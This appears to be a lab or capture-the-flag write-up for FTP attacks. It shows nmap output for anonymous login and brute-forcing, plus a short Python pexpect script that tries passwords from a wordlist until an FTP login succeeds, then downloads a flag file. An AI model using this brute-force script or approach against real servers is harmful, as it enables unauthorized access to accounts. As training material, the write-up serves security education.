21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 33 Dec 18 2018 flag
|_drwxr-xr-x 2 ftp ftp 4096 Dec 18 2018 pub
📌 Anonymous FTP login allowed
ftp 192.119.169.3
# Use anonymous:anonymous to login
Name (192.119.169.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp> get flag
ftp> exit
root@attackdefense:~# cat flag
21/tcp open ftp
| ftp-brute:
| Accounts:
| billy:carlos - Valid credentials
|_ Statistics: Performed 78 guesses in 55 seconds, average tps: 1.5
📌 billy's password is carlos
A custom script to attemp the logins is required if automated dictionary attack do not work, since the server terminates the sessions after 3 login attempts.
e.g. python script:
nano billy.py
import pexpect
import sys
username=sys.argv[2]
password_dict=sys.argv[3]
# Loading the password dictionary and Striping \n
lines = [line.rstrip('\n') for line in open(password_dict)]
itr = 0
# Iterating over dictionary
for password in lines:
child = pexpect.spawn ('ftp '+sys.argv[1])
child.expect ('Name .*: ')
child.sendline (username)
print "Trying with password: ",password
child.expect ('Password:')
child.sendline (password)
i = child.expect (['Login successful', 'Login failed'])
if i==1:
#print('Login failed')
child.kill(0)
elif i==0:
print "Login Successful for ",password
print child.before
break
python billy.py 192.14.30.3 billy /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Login Successful for carlos
Fetch the flag using billy:carlos credentials
ftp 192.14.30.3
ftp> ls
ftp> get flag
ftp> exit
root@attackdefense:~# cat flag
